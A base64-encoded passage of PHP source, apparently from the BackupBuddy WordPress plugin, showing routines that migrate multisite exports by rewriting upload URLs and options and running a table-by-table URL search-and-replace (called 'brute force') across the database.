yBUaGUgb2xkIHJlYWwgZGlyZWN0IHVwbG9hZHMgVVJMLiBTdGFuZGFsb25lIHNvdXJjZSBsaWtlOiBodHRwOi8vZ2V0YmFja3VwYnVkZHkuY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy8uIEJCIGRvZXNudCBjdXJyZW50bHkgc3VwcG9ydCBtb3ZlZCB1cGxvYWRzLiBVbnNoaWZ0ZWQgdG8gcGxhY2UgdGhlc2UgcmVwbGFjZW1lbnRzIEZJUlNUIGluIHRoZSBhcnJheSBvZiBVUkxzIHRvIHJlcGxhY2UuCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnT2xkIHJlYWwgZGlyZWN0IHVwbG9hZHMgVVJMOiAnIC4gJHRoaXMtPnJlc3RvcmVEYXRhWydkYXQnXVsndXBsb2FkX3VybF9yZXdyaXRlJ10gKTsKCQlhcnJheV91bnNoaWZ0KCAkdGhpcy0+b2xkVVJMcywgJHRoaXMtPnJlc3RvcmVEYXRhWydkYXQnXVsndXBsb2FkX3VybF9yZXdyaXRlJ10gKTsKCQlhcnJheV91bnNoaWZ0KCAkdGhpcy0+b2xkRnVsbFJlcGxhY2UsICR0aGlzLT5yZXN0b3JlRGF0YVsnZGF0J11bJ3VwbG9hZF91cmxfcmV3cml0ZSddICk7CgoJCS8vIFRoZSBuZXcgcmVhbCBkaXJlY3QgdXBsb2FkIFVSTC4gRXg6IGh0dHA6Ly9wbHVnaW5idWRkeS5jb20vd3AtY29udGVudC91cGxvYWRzLy4gVW5zaGlmdGVkIHRvIHBsYWNlIHRoZXNlIHJlcGxhY2VtZW50cyBGSVJTVCBpbiB0aGUgYXJyYXkgb2YgVVJMcyB0byByZXBsYWNlLgoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ05ldyByZWFsIGRpcmVjdCB1cGxvYWQgVVJMIHRvIHJlcGxhY2Ugb2xkIHZpcnR1YWwgdXBsb2FkcyBVUkw6ICcgLiAkdGhpcy0+bmV0d29ya1VwbG9hZFVSTFJlYWwgKTsKCQlhcnJheV91bnNoaWZ0KCAkdGhpcy0+bmV3VVJMcywgJHRoaXMtPm5ldHdvcmtVcGxvYWRVUkxSZWFsICk7CgkJYXJyYXlfdW5zaGlmdCggJHRoaXMtPm5ld0Z1bGxSZXBsYWNlLCAkdGhpcy0+bmV0d29ya1VwbG9hZFVSTFJlYWwgKTsKCgkJLy8gVXBkYXRlIHVwbG9hZF9wYXRoIGluIG9wdGlvbnMgdGFibGUuCgkJaWYgKCB2ZXJzaW9uX2NvbXBhcmUoICR3cF92ZXJzaW9uLCAnMy41JywgJz49JyApICkgeyAvLyBBcyBvZiBXUCB2My41IHN1YnN0aWVzIHNob3VsZCBoYXZlIHVwbG9hZF9wYXRoIG9wdGlvbiByZW1vdmVkLgoJCQkkd3BkYi0+cXVlcnkoICdERUxFVEUgRlJPTSBgJyAuICR0aGlzLT5vdmVycmlkZVByZWZpeCAuICJvcHRpb25zYCBXSEVSRSBvcHRpb25fbmFtZT0ndXBsb2FkX3BhdGgnIExJTUlUIDEiICk7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0RlbGV0ZWQgJyAuICR3cGRiLT5yb3dzX2FmZmVjdGVkIC4gJyByb3cocykgYXMgdXBsb2FkX3BhdGggaXMgbm8gbG9uZ2VyIG5lZWRlZCBieSBNdWx0aXNpdGUuJyApOwoJCQlpZiAoICEgZW1wdHkoICR3cGRiLT5sYXN0X2Vycm9yICkgKSB7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnbXlzcWwgZXJyb3I6ICcgLiAkd3BkYi0+bGFzdF9lcnJvciApOwoJCQl9CgkJfSBlbHNlIHsKCQkJJHdwZGItPnF1ZXJ5KCAnVVBEQVRFIGAnIC4gJHRoaXMtPm92ZXJyaWRlUHJlZml4IC4gIm9wdGlvbnNgIFNFVCBvcHRpb25fdmFsdWU9JyIgLiBiYWNrdXBidWRkeV9jb3JlOjpkYkVzY2FwZSggc3RyX3JlcGxhY2UoICR0aGlzLT5yZXN0b3JlRGF0YVsnc2l0ZXVybCddIC4gJy8nLCAnJywgJHRoaXMtPm5ldHdvcmtVcGxvYWRVUkxSZWFsICkgKSAuICInIFdIRVJFIG9wdGlvbl9uYW1lPSd1cGxvYWRfcGF0aCcgTElNSVQgMSIgKTsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTW9kaWZpZWQgJyAuICR3cGRiLT5yb3dzX2FmZmVjdGVkIC4gJyByb3cocykgd2hpbGUgdXBkYXRpbmcgdXBsb2FkX3BhdGggaW4gb3B0aW9ucyB0YWJsZS4gTmV3IHZhbHVlOiAnIC4gc3RyX3JlcGxhY2UoICR0aGlzLT5yZXN0b3JlRGF0YVsnc2l0ZXVybCddIC4gJy8nLCAnJywgJHRoaXMtPm5ldHdvcmtVcGxvYWRVUkxSZWFsICkgKTsKCQkJaWYgKCAhIGVtcHR5KCAkd3BkYi0+bGFzdF9lcnJvciApICkgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ215c3FsIGVycm9yOiAnIC4gJHdwZGItPmxhc3RfZXJyb3IgKTsKCQkJfQoJCX0KCgkJLy8gVXBkYXRlIGZpbGV1cGxvYWRfdXJsIGluIG9wdGlvbnMgdGFibGUuCgkJJHdwZGItPnF1ZXJ5KCAnVVBEQVRFIGAnIC4gJHRoaXMtPm92ZXJyaWRlUHJlZml4IC4gIm9wdGlvbnNgIFNFVCBvcHRpb25fdmFsdWU9JyIgLiBiYWNrdXBidWRkeV9jb3JlOjpkYkVzY2FwZSggJHRoaXMtPnJlc3RvcmVEYXRhWyd1cGxvYWRfdXJsJ10gKSAuICInIFdIRVJFIG9wdGlvbl9uYW1lPSdmaWxldXBsb2FkX3VybCcgTElNSVQgMSIgKTsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdNb2RpZmllZCAnIC4gJHdwZGItPnJvd3NfYWZmZWN0ZWQgLiAnIHJvdyhzKSB3aGlsZSB1cGRhdGluZyBmaWxldXBsb2FkX3VybCBpbiBvcHRpb25zIHRhYmxlLiBOZXcgdmFsdWU6IGAnIC4gJHRoaXMtPnJlc3RvcmVEYXRhWyd1cGxvYWRfdXJsJ10gLiAnYC4nICk7CgkJaWYgKCAhIGVtcHR5KCAkd3BkYi0+bGFzdF9lcnJvciApICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnbXlzcWwgZXJyb3I6ICcgLiAkd3BkYi0+bGFzdF9lcnJvciApOwoJCX0KCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRmluaXNoZWQgbWlncmF0aW9uIHN0ZXBzIGZvciBgTXVsdGlzaXRlIEV4cG9ydCAtPiBNdWx0aXNpdGUgSW1wb3J0YCBzaXRlcy4nICk7CgoJCXJldHVybiB0cnVlOwoJfSAvLyBFbmQgbWlncmF0ZU11bHRpc2l0ZUV4cG9ydFRvTXVsdGlzaXRlSW1wb3J0KCkuCgoKCS8qKgoJICogTXVsdGlzaXRlIEV4cG9ydCB0byBTdGFuZGFsb25lIE1pZ3JhdGlvbgoJICoKCSAqIEByZXR1cm4gYm9vbCAgVHJ1ZS4gQWx3YXlzIHJldHVybnMgdHJ1ZS4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIG1pZ3JhdGVNdWx0aXNpdGVFeHBvcnRUb1N0YW5kYWxvbmUoKSB7CgoJCWdsb2JhbCAkd3BkYjsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdTdGFydGluZyBtaWdyYXRpb24gc3RlcHMgZm9yIGBNdWx0aXNpdGUgRXhwb3J0IC0+IFN0YW5kYWxvbmVgIHNpdGVzLicgKTsKCgkJLy8gSU1QT1JUQU5UOiBVcGxvYWQgVVJMcyBfTVVTVF8gYmUgdXBkYXRlZCBiZWZvcmUgZG9pbmcgYSBmdWxsIFVSTCByZXBsYWNlbWVudCBvciBlbHNlIHRoZSBmaXJzdCBwb3J0aW9uIG9mIHRoZSBVUkwgd2lsbCBiZSBtaWdyYXRlZCBzbyB0aGVzZSB3aWxsIG5vIGxvbmdlciBtYXRjaC4gYXJyYXlfdW5zaGlmdCgpIGlzIHVzZWQgdG8gYnVtcCB0aGVzZSB0byB0aGUgdG9wIG9mIHRoZSBsaXN0IHRvIHVwZGF0ZS4KCQkvLyBUaGVzZSB3aWxsIGhhbmRsZSBib3RoIHRoZSBSRUFMIHVybCBodHRwOi8vLi4uL3dwLWNvbnRlbnQvYmxvZ3MuZGlyLyMjL2ZpbGVzLyB0aGF0IHRoZSB2aXJ0dWFsIHBhdGggKGh0dHA6Ly8uLi4uL3dwLWNvbnRlbnQvdXBsb2Fkcy8pLgoJCS8vIFRoZSBvbGQgdmlydHVhbCB1cGxvYWQgVVJMLiBFeDogaHR0cDovL2dldGJhY2t1cGJ1ZGR5LmNvbS9maWxlcy8uIFVuc2hpZnRlZCB0byBwbGFjZSB0aGVzZSByZXBsYWNlbWVudHMgRklSU1QgaW4gdGhlIGFycmF5IG9mIFVSTHMgdG8gcmVwbGFjZS4KCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdPbGQgdmlydHVhbCB1cGxvYWQgVVJMOiAnIC4gJHRoaXMtPnJlc3RvcmVEYXRhWydkYXQnXVsndXBsb2FkX3VybCddICk7CgkJYXJyYXlfdW5zaGlmdCggJHRoaXMtPm9sZFVSTHMsICR0aGlzLT5yZXN0b3JlRGF0YVsnZGF0J11bJ3VwbG9hZF91cmwnXSApOwoJCWFycmF5X3Vuc2hpZnQoICR0aGlzLT5vbGRGdWxsUmVwbGFjZSwgJHRoaXMtPnJlc3RvcmVEYXRhWydkYXQnXVsndXBsb2FkX3VybCddICk7CgoJCS8vIFRoZSBuZXcgc3RhbmRhbG9uZSB1cGxvYWQgVVJMLiBFeDogaHR0cDovL3BsdWdpbmJ1ZGR5LmNvbS93cC1jb250ZW50L3VwbG9hZHMvLiBVbnNoaWZ0ZWQgdG8gcGxhY2UgdGhlc2UgcmVwbGFjZW1lbnRzIEZJUlNUIGluIHRoZSBhcnJheSBvZiBVUkxzIHRvIHJlcGxhY2UuCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTmV3IHVwbG9hZCBVUkwgdG8gcmVwbGFjZSB2aXJ0dWFsIHVwbG9hZCBVUkw6ICcgLiAkdGhpcy0+cmVzdG9yZURhdGFbJ3NpdGV1cmwnXSAuICcvd3AtY29udGVudC91cGxvYWRzLycgKTsKCQlhcnJheV91bnNoaWZ0KCAkdGhpcy0+bmV3VVJMcywgJHRoaXMtPnJlc3RvcmVEYXRhWydzaXRldXJsJ10gLiAnL3dwLWNvbnRlbnQvdXBsb2Fkcy8nICk7CgkJYXJyYXlfdW5zaGlmdCggJHRoaXMtPm5ld0Z1bGxSZXBsYWNlLCAkdGhpcy0+cmVzdG9yZURhdGFbJ3NpdGV1cmwnXSAuICcvd3AtY29udGVudC91cGxvYWRzLycgKTsKCgkJLy8gT25seSB1cGRhdGUgYW5vdGhlciBVUkwgaWYgaXQgZGlmZmVycyAtLSB1c3VhbGx5IHdpbGwuIFRoZXkgd2lsbCBiZSB0aGUgc2FtZSBpZiB0aGUgdmlydHVhbCB1cmwgZG9lc24ndCBleGlzdCBmb3Igc29tZSByZWFzb24gKG5vIGh0YWNjZXNzIGF2YWlsYWJpbGl0eSBzbyB0aGUgdmlydHVhbCB1cmwgd291bGQgbWF0Y2ggdGhlIHJlYWwgdXJsKQoJCWlmICggJHRoaXMtPnJlc3RvcmVEYXRhWydkYXQnXVsndXBsb2FkX3VybCddICE9ICR0aGlzLT5yZXN0b3JlRGF0YVsnZGF0J11bJ3VwbG9hZF91cmxfcmV3cml0ZSddICkgewoJCQkvLyBUaGUgb2xkIHZpcnR1YWwgdXBsb2FkIFVSTC4gRXg6IGh0dHA6Ly9nZXRiYWNrdXBidWRkeS5jb20vZmlsZXMvLiBVbnNoaWZ0ZWQgdG8gcGxhY2UgdGhlc2UgcmVwbGFjZW1lbnRzIEZJUlNUIGluIHRoZSBhcnJheSBvZiBVUkxzIHRvIHJlcGxhY2UuCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ09sZCByZWFsIHVwbG9hZCBVUkw6ICcgLiAkdGhpcy0+cmVzdG9yZURhdGFbJ2RhdCddWyd1cGxvYWRfdXJsX3Jld3JpdGUnXSApOwoJCQlhcnJheV91bnNoaWZ0KCAkdGhpcy0+b2xkVVJMcywgJHRoaXMtPnJlc3RvcmVEYXRhWydkYXQnXVsndXBsb2FkX3VybF9yZXdyaXRlJ10gKTsgLy8gVGhlIG9sZCByZWFsIHVwbG9hZCBVUkwuCgkJCWFycmF5X3Vuc2hpZnQoICR0aGlzLT5vbGRGdWxsUmVwbGFjZSwgJHRoaXMtPnJlc3RvcmVEYXRhWydkYXQnXVsndXBsb2FkX3VybF9yZXdyaXRlJ10gKTsKCgkJCS8vIFRoZSBuZXcgc3RhbmRhbG9uZSB1cGxvYWQgVVJMLiBFeDogaHR0cDovL3BsdWdpbmJ1ZGR5LmNvbS93cC1jb250ZW50L3VwbG9hZHMvLiBVbnNoaWZ0ZWQgdG8gcGxhY2UgdGhlc2UgcmVwbGFjZW1lbnRzIEZJUlNUIGluIHRoZSBhcnJheSBvZiBVUkxzIHRvIHJlcGxhY2UuCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ05ldyB1cGxvYWQgVVJMIHRvIHJlcGxhY2UgcmVhbCB1cGxvYWQgVVJMOiAnIC4gJHRoaXMtPnJlc3RvcmVEYXRhWydzaXRldXJsJ10gLiAnL3dwLWNvbnRlbnQvdXBsb2Fkcy8nICk7CgkJCWFycmF5X3Vuc2hpZnQoICR0aGlzLT5uZXdVUkxzLCAkdGhpcy0+cmVzdG9yZURhdGFbJ3NpdGV1cmwnXSAuICcvd3AtY29udGVudC91cGxvYWRzLycgKTsgLy8gVGhlIG5ldyBzdGFuZGFsb25lIHVwbG9hZCBVUkwuCgkJCWFycmF5X3Vuc2hpZnQoICR0aGlzLT5uZXdGdWxsUmVwbGFjZSwgJHRoaXMtPnJlc3RvcmVEYXRhWydzaXRldXJsJ10gLiAnL3dwLWNvbnRlbnQvdXBsb2Fkcy8nICk7IC8vIFRoZSBuZXcgc3RhbmRhbG9uZSB1cGxvYWQgVVJMLgoJCX0KCgkJLy8gVXBkYXRlIHVwbG9hZF9wYXRoIGluIG9wdGlvbnMgdGFibGUgdG8gYmUgZGVmYXVsdCBibGFuayB2YWx1ZS4KCQkkd3BkYi0+cXVlcnkoICdVUERBVEUgYCcgLiAkdGhpcy0+b3ZlcnJpZGVQcmVmaXggLiAib3B0aW9uc2AgU0VUIG9wdGlvbl92YWx1ZT0nJyBXSEVSRSBvcHRpb25fbmFtZT0ndXBsb2FkX3BhdGgnIExJTUlUIDEiICk7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTW9kaWZpZWQgJyAuICR3cGRiLT5yb3dzX2FmZmVjdGVkIC4gJyByb3cocykgd2hpbGUgdXBkYXRpbmcgdXBsb2FkcyBwYXRoIGluIG9wdGlvbnMgdGFibGUuIE5ldyB2YWx1ZTogYGAgKGJsYW5rIGRlZmF1bHQpLicgKTsKCQlpZiAoICEgZW1wdHkoICR3cGRiLT5sYXN0X2Vycm9yICkgKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdteXNxbCBlcnJvcjogJyAuICR3cGRiLT5sYXN0X2Vycm9yICk7CgkJfQoKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdGaW5pc2hlZCBtaWdyYXRpb24gc3RlcHMgZm9yIGBNdWx0aXNpdGUgRXhwb3J0IC0+IFN0YW5kYWxvbmVgIHNpdGVzLicgKTsKCQlyZXR1cm4gdHJ1ZTsKCX0gLy8gRW5kIG1pZ3JhdGVNdWx0aXNpdGVFeHBvcnRUb1N0YW5kYWxvbmUoKS4KCgkvLyAqKioqKioqKioqIEVORCBNVUxUSVNJVEUgRVhQT1JUIC0+IFNUQU5EQUxPTkUgKioqKioqKioqKgoJLyoqCgkgKiBGb3JjZWQgVGFibGUgbWlncmF0aW9ucwoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJHJlc3VtZVBvaW50ICBSZXN1bWUgUG9pbnQuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBicnV0ZWZvcmNlVGFibGVzKCAkcmVzdW1lUG9pbnQgPSAnJyApIHsKCgkJZ2xvYmFsICR3cGRiOwoJCS8vIExvb3AgdGhyb3VnaCB0aGUgdGFibGVzIG1hdGNoaW5nIHRoaXMgcHJlZml4LiBEb2VzIE5PVCBjaGFuZ2UgZGF0YSBpbiBvdGhlciB0YWJsZXMuCgkJLy8gVGhpcyBjaGFuZ2VzIGFjdHVhbCBkYXRhIG9uIGEgY29sdW1uIGJ5IGNvbHVtbiBiYXNpcyBmb3IgdmVyeSByb3cgaW4gZXZlcnkgdGFibGUuCgkJJHRhYmxlcyA9IGFycmF5KCk7CgkJJHJvd3MgICA9ICR3cGRiLT5nZXRfcmVzdWx0cyggIlNFTEVDVCB0YWJsZV9uYW1lIEFTIGB0YWJsZV9uYW1lYCBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgV0hFUkUgdGFibGVfbmFtZSBMSUtFICciIC4gc3RyX3JlcGxhY2UoICdfJywgJ1xfJywgJHRoaXMtPm92ZXJyaWRlUHJlZml4ICkgLiAiJScgQU5EIHRhYmxlX3NjaGVtYSA9IERBVEFCQVNFKCkiLCBBUlJBWV9BICk7CgkJZm9yZWFjaCAoICRyb3dzIGFzICRyb3cgKSB7CgkJCSR0YWJsZXNbXSA9ICRyb3dbJ3RhYmxlX25hbWUnXTsKCQl9CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnRm91bmQgJyAuIGNvdW50KCAkcm93cyApIC4gJyBXb3JkUHJlc3MgdGFibGVzIGZvciBicnV0ZSBmb3JjZS4nICk7CgkJdW5zZXQoICRyb3dzICk7CgkJJGJydXRlZm9yY2VfdGFibGVzID0gcGJfYmFja3VwYnVkZHk6OmFycmF5X3JlbW92ZSggJHRhYmxlcywgJHRoaXMtPmJydXRlZm9yY2VFeGNsdWRlZFRhYmxlcyApOyAvLyBSZW1vdmVzIGFsbCB0YWJsZXMgbGlzdGVkIGluICRleGNsdWRlZF90YWJsZXMgZnJvbSAkdGFibGVzLgoJCXVuc2V0KCAkdGFibGVzICk7CgoJCWlmICggJ211bHRpc2l0ZV9pbXBvcnQnID09ICR0aGlzLT5kZXN0aW5hdGlvblR5cGUgKSB7CgkJCXJlcXVpcmVfb25jZSBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvbGliL2RicmVwbGFjZS9kYnJlcGxhY2UucGhwJzsKCQl9IGVsc2UgewoJCQlyZXF1aXJlX29uY2UgJ2ltcG9ydGJ1ZGR5L2xpYi9kYnJlcGxhY2UvZGJyZXBsYWNlLnBocCc7CgkJfQoKCQkvLyBJbnN0YW50aWF0ZSBkYiByZXBsYWNlIGNsYXNzLgoJCSRkYnJlcGxhY2UgPSBuZXcgcGx1Z2luYnVkZHlfZGJyZXBsYWNlKCAkdGhpcy0+c3RhcnRUaW1lLCBzZWxmOjpUSU1FX1dJR0dMRV9ST09NLCAkdGhpcy0+cmVzdG9yZURhdGFbJ21heEV4ZWN1dGlvblRpbWUnXSApOwoKCQlpZiAoIGlzX2FycmF5KCAkcmVzdW1lUG9pbnQgKSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnUmVzdW1pbmcgYnJ1dGVmb3JjZSBzdWJzdGVwcy4gU3RlcHMgcmVtYWluaW5nOiBgJyAuIGNvdW50KCAkcmVzdW1lUG9pbnRbMF0gKSAuICdgLicgKTsKCQkJJHN0ZXBzICAgICAgICAgICA9ICRyZXN1bWVQb2ludFswXTsKCQkJJHN0ZXBSZXN1bWVQb2ludCA9ICRyZXN1bWVQb2ludFsxXTsKCQl9IGVsc2UgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdGaXJzdCBydW4gb2YgYnJ1dGVmb3JjZS4gQnVpbGRpbmcgc3Vic3RlcCBsaXN0LicgKTsKCQkJJHN0ZXBSZXN1bWVQb2ludCA9ICcnOwoKCQkJJHN0ZXBzID0gYXJyYXkoCgkJCQlhcnJheSgKCQkJCQknUG9zdHMgdGFibGUgc2l0ZSBVUkxzLicsCgkJCQkJJ3RleHQnLAoJCQkJCSR0aGlzLT5vdmVycmlkZVByZWZpeCAuICdwb3N0cycsCgkJCQkJJHRoaXMtPm9sZFVSTHMsCgkJCQkJJHRoaXMtPm5ld1VSTHMsCgkJCQkJYXJyYXkoICdwb3N0X2NvbnRlbnQnLCAncG9zdF9leGNlcnB0JywgJ3Bvc3RfY29udGVudF9maWx0ZXJlZCcgKSwKCQkJCSksCgkJCQlhcnJheSgKCQkJCQknV29yZFByZXNzIGNvcmUgZGF0YWJhc2UgdGV4dCBkYXRhLicsCgkJCQkJJ3RleHQnLAoJCQkJCSR0aGlzLT5vdmVycmlkZVByZWZpeCAuICd1c2VycycsCgkJCQkJJHRoaXMtPm9sZFVSTHMsCgkJCQkJJHRoaXMtPm5ld1VSTHMsCgkJCQkJYXJyYXkoICd1c2VyX3VybCcgKSwKCQkJCSksCgkJCQlhcnJheSgKCQkJCQknV29yZFByZXNzIGNvcmUgZGF0YWJhc2UgdGV4dCBkYXRhLicsCgkJCQkJJ3RleHQnLAoJCQkJCSR0aGlzLT5vdmVycmlkZVByZWZpeCAuICdjb21tZW50cycsCgkJCQkJJHRoaXMtPm9sZFVSTHMsCgkJCQkJJHRoaXMtPm5ld1VSTHMsCgkJCQkJYXJyYXkoICdjb21tZW50X2NvbnRlbnQnLCAnY29tbWVudF9hdXRob3JfdXJsJyApLAoJCQkJKSwKCQkJCWFycmF5KAoJCQkJCSdXb3JkUHJlc3MgY29yZSBkYXRhYmFzZSB0ZXh0IGRhdGEuJywKCQkJCQkndGV4dCcsCgkJCQkJJHRoaXMtPm92ZXJyaWRlUHJlZml4IC4gJ2xpbmtzJywKCQkJCQkkdGhpcy0+b2xkVVJMcywKCQkJCQkkdGhpcy0+bmV3VVJMcywKCQkJCQlhcnJheSggJ2xpbmtfdXJsJywgJ2xpbmtfaW1hZ2UnLCAnbGlua190YXJnZXQnLCAnbGlua19kZXNjcmlwdGlvbicsICdsaW5rX25vdGVzJywgJ2xpbmtfcnNzJyApLAoJCQkJKSwKCQkJCWFycmF5KAoJCQkJCSdXb3JkUHJlc3MgY29yZSBkYXRhYmFzZSBzZXJpYWxpemVkIGRhdGEuJywKCQkJCQknc2VyaWFsaXplZCcsCgkJCQkJJHRoaXMtPm92ZXJyaWRlUHJlZml4IC4gJ29wdGlvbnMnLAoJCQkJCSR0aGlzLT5vbGRGdWxsUmVwbGFjZSwKCQkJCQkkdGhpcy0+bmV3RnVsbFJlcGxhY2UsCgkJCQkJYXJyYXkoICdvcHRpb25fdmFsdWUnICksCgkJCQkpLAoJCQkJYXJyYXkoCgkJCQkJJ1dvcmRQcmVzcyBjb3JlIGRhdGFiYXNlIHNlcmlhbGl6ZWQgZGF0YS4nLAoJCQkJCSdzZXJpYWxpemVkJywKCQkJCQkkdGhpcy0+bmV0d29ya1ByZWZpeCAuICd1c2VybWV0YScsCgkJCQkJJHRoaXMtPm9sZEZ1bGxSZXBsYWNlLAoJCQkJCSR0aGlzLT5uZXdGdWxsUmVwbGFjZSwKCQkJCQlhcnJheSggJ21ldGFfdmFsdWUnICksCgkJCQkpLAoJCQkJYXJyYXkoCgkJCQkJJ1dvcmRQcmVzcyBjb3JlIGRhdGFiYXNlIHNlcmlhbGl6ZWQgZGF0YS4nLAoJCQkJCSdzZXJpYWxpemVkJywKCQkJCQkkdGhpcy0+b3ZlcnJpZGVQcmVmaXggLiAncG9zdG1ldGEnLAoJCQkJCSR0aGlzLT5vbGRGdWxsUmVwbGFjZSwKCQkJCQkkdGhpcy0+bmV3RnVsbFJlcGxhY2UsCgkJCQkJYXJyYXkoICdtZXRhX3ZhbHVlJyApLAoJCQkJKSwKCQkJCWFycmF5KAoJCQkJCSdXb3JkUHJlc3MgY29yZSBkYXRhYmFzZSBzZXJpYWxpemVkIGRhdGEuJywKCQkJCQknc2VyaWFsaXplZCcsCgkJCQkJJHRoaXMtPm92ZXJyaWRlUHJlZml4IC4gJ2NvbW1lbnRtZXRhJywKCQkJCQkkdGhpcy0+b2xkRnVsbFJlcGxhY2UsCgkJCQkJJHRoaXMtPm5ld0Z1bGxSZXBsYWNlLAoJCQkJCWFycmF5KCAnbWV0YV92YWx1ZScgKSwKCQkJCSksCgoJCQkpOwoKCQkJaWYgKCAhIGlzc2V0KCAkdGhpcy0+cmVzdG9yZURhdGFbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnbWlncmF0ZURhdGFiYXNlQnJ1dGVGb3JjZSddICkgfHwgKCB0cnVlICE9PSAkdGhpcy0+cmVzdG9yZURhdGFbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnbWlncmF0ZURhdGFiYXNlQnJ1dGVGb3JjZSddICkgKSB7IC8vIHNraXAgYnJ1dGVmb3JjZS4KCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0JydXRlIGZvcmNlIGRhdGFiYXNlIG1pZ3JhdGlvbiBza2lwcGVkIGJhc2VkIG9uIGFkdmFuY2VkIHNldHRpbmdzJyApOwoJCQl9IGVsc2UgeyAvLyBkb250IHNraXAgYnJ1dGVmb3JjZS4KCgkJCQlmb3JlYWNoICggJGJydXRlZm9yY2VfdGFibGVzIGFzICRicnV0ZWZvcmNlX3RhYmxlICkgewoJCQkJCSRzdGVwc1tdID0gYXJyYXkoCgkJCQkJCSdCcnV0ZWZvcmNpbmcgZW50aXJlIHRhYmxlczogYCcgLiBpbXBsb2RlKCAnLCcsICRicnV0ZWZvcmNlX3RhYmxlcyApIC4gJ2AuJywKCQkJCQkJJ2JydXRlZm9yY2VfdGFibGUnLAoJCQkJCQkkYnJ1dGVmb3JjZV90YWJsZSwKCQkJCQkJJHRoaXMtPm9sZEZ1bGxSZXBsYWNlLAoJCQkJCQkkdGhpcy0+bmV3RnVsbFJlcGxhY2UsCgkJCQkJKTsKCQkJCX0KCQkJfQoJCX0KCgkJZm9yZWFjaCAoIChhcnJheSkgJHN0ZXBzIGFzICRzdGVwICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdSdW5uaW5nIGJydXRlZm9yY2Ugc3Vic3RlcCB0byBtaWdyYXRlOiBgJyAuICRzdGVwWzBdIC4gJ2AuIFN1YnN0ZXBzIHJlbWFpbmluZzogYCcgLiBjb3VudCggJHN0ZXBzICkgLiAnYC4nICk7CgkJCWlmICggISBpc3NldCggJHRoaXMtPnJlc3RvcmVEYXRhWydkYXRhYmFzZVNldHRpbmdzJ11bJ21pZ3JhdGVSZXN1bWVQb2ludCddICkgKSB7IC8vIFByZXZlbnQgIldhcm5pbmc6IENhbm5vdCBhc3NpZ24gYW4gZW1wdHkgc3RyaW5nIHRvIGEgc3RyaW5nIG9mZnNldCIgaW4gUEhQIDcuMS4KCQkJCSR0aGlzLT5yZXN0b3JlRGF0YVsnZGF0YWJhc2VTZXR0aW5ncyddWydtaWdyYXRlUmVzdW1lUG9pbnQnXSA9IGFycmF5KCk7CgkJCX0KCQkJaWYgKCBpc19hcnJheSggJHRoaXMtPnJlc3RvcmVEYXRhWydkYXRhYmFzZVNldHRpbmdzJ11bJ21pZ3JhdGVSZXN1bWVQb2ludCddICkgKSB7CgkJCQkkdGhpcy0+cmVzdG9yZURhdGFbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnbWlncmF0ZVJlc3VtZVBvaW50J11bMV0gPSAnJzsgLy8gQ2xlYXIgb3V0IG5lZWRpbmcgdG8gcmVzdW1lIHRoaXMgc3Vic3RlcCBmb3Igbm93LgoJCQl9CgoJCQkvLyBSdW4gdGhlIGZ1bmN0aW9uLgoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdTdGFydGluZyBzdWJzdGVwIGAnIC4gJHN0ZXBbMF0gLiAnYC4nICk7CgkJCWlmICggJ2JydXRlZm9yY2VfdGFibGUnID09ICRzdGVwWzFdICkgeyAvLyBUYWJsZSBicnV0ZWZvcmNlIGhhcyBkaWZmZXJlbnQgcGFyYW0gY291bnQuCgkJCQkkcmVzdWx0cyA9IGNhbGxfdXNlcl9mdW5jKCBhcnJheSggJGRicmVwbGFjZSwgJHN0ZXBbMV0gKSwgJHN0ZXBbMl0sICRzdGVwWzNdLCAkc3RlcFs0XSwgJHN0ZXBSZXN1bWVQb2ludCApOwoJCQl9IGVsc2UgewoJCQkJJHJlc3VsdHMgPSBjYWxsX3VzZXJfZnVuYyggYXJyYXkoICRkYnJlcGxhY2UsICRzdGVwWzFdICksICRzdGVwWzJdLCAkc3RlcFszXSwgJHN0ZXBbNF0sICRzdGVwWzVdLCAkc3RlcFJlc3VtZVBvaW